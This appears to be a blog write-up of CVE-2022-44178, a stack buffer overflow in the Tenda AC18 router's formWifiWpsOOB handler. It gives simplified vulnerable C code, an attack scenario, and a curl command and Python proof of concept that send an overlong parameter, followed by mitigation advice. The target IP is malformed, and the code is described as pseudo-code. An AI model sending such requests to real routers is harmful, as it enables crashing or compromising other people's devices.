Buffer overflows continue to be a significant threat to network devices. In recent years, attackers have targeted routers and other IoT devices, exploiting weaknesses to gain control, spread malware, or eavesdrop on network traffic. Today, we’ll dive deep into a specific vulnerability, CVE-2022-44178, found in the popular Tenda AC18 router (V15.03.05.19). We'll focus on how the formWifiWpsOOB function falls short of proper buffer management, share a code snippet demonstrating the flaw, and explore potential exploit tactics.

About the Vulnerability

- CVE Number: CVE-2022-44178

Vulnerability Type: Buffer Overflow

The router’s web interface handles various user-supplied parameters. In the case of the formWifiWpsOOB function, researchers discovered a classic buffer overflow problem—specifically in how the function processes incoming data without adequate bounds checking.

How it Works

When the router’s web panel receives a POST request destined for the formWifiWpsOOB handler (often executing as root or with high privileges in embedded devices), it tries to process request parameters like SSID or WPS info to reset or reconfigure Wi-Fi WPS settings. If attackers submit excessively long values for certain fields, the function naively copies these into a fixed-size stack buffer, overrunning the allocated memory.

If an attacker carefully crafts the payload, they can control execution flow—running arbitrary code, crashing the device, or opening permanent backdoors.

Let’s look at a simplified pseudo-version of the vulnerable C code from the Tenda firmware

int __fastcall formWifiWpsOOB(http_request_t *req) {
    char buf[256];
    char *param;

    // The parameter "wps_oob_param" is taken directly from the user input
    param = http_get_param(req, "wps_oob_param");
    if (param) {
        // UNSAFE: No length check here!
        strcpy(buf, param);
    }
    // ...rest of the function...
}

http_get_param extracts data directly from HTTP POST requests.

- The strcpy call copies the entire user input into buf, without checking if the input is too long for the 256-byte buffer.
- If the attacker sends a string longer than 256 bytes, they overwrite adjacent stack data—including return addresses or saved registers.

Step-by-Step Attack Scenario

1. Discover the Vulnerability: An attacker scans a network for Tenda AC18 routers running the vulnerable firmware.
2. Craft Malicious POST Request: The attacker creates an HTTP POST request to the router’s web interface endpoint handling formWifiWpsOOB, with an overlong value such as:

`http

POST /goform/formWifiWpsOOB HTTP/1.1

Host: 192.168..1

Content-Type: application/x-www-form-urlencoded

`

3. Send the Exploit Request: The attacker submits this request, either via browser DevTools, a script, or a tool like curl:

curl -d "wps_oob_param=$(python -c "print('A'*600)")" \

http://192.168..1/goform/formWifiWpsOOB

Here’s a minimal proof-of-concept (PoC) in Python (for educational use only)

import requests

target_url = "http://192.168..1/goform/formWifiWpsOOB"
data = {
    "wps_oob_param": "A" * 600  # (600 bytes triggers overflow)
}

response = requests.post(target_url, data=data)
print("Status code:", response.status_code)
print("Response:", response.text[:200])  # Print a snippet of the response

No Bounds Checking: The function uses strcpy rather than strncpy or safer alternatives.

- Runs with High Privileges: Embedded web servers often run as root or have access to the device configuration, so a successful exploit yields powerful control.

Defense & Mitigation

- Update Firmware: Tenda may have released patches or newer firmware that fix the vulnerable formWifiWpsOOB handler. Update as soon as possible.
- Network Segmentation: Restrict web interface access to trusted devices/networks.

Disable Unused Features: If you don’t use WPS or the web interface, disable them entirely.

- Firmware Analysis: For technical users, extract and grep for unsafe strcpy/sprintf usage in other binary handlers.

References

- NVD Listing for CVE-2022-44178
- GitHub Write-up (PoC and Details)
- Tenda AC18 Product Page
- OWASP Buffer Overflow Guide

Final Thoughts

CVE-2022-44178 is a classic example of how simple mistakes—like unsafe strcpy use—can undermine the security of everyday devices such as home routers. If you use the Tenda AC18, patch your router or hide its interface from the public internet. This vulnerability is powerful in the wrong hands, and it proves once again why vendors must use secure coding practices throughout their products.

Stay secure, and double-check your device firmware for updates!

Timeline

Published on: 11/21/2022 18:15:00 UTC
Last modified on: 11/28/2022 13:49:00 UTC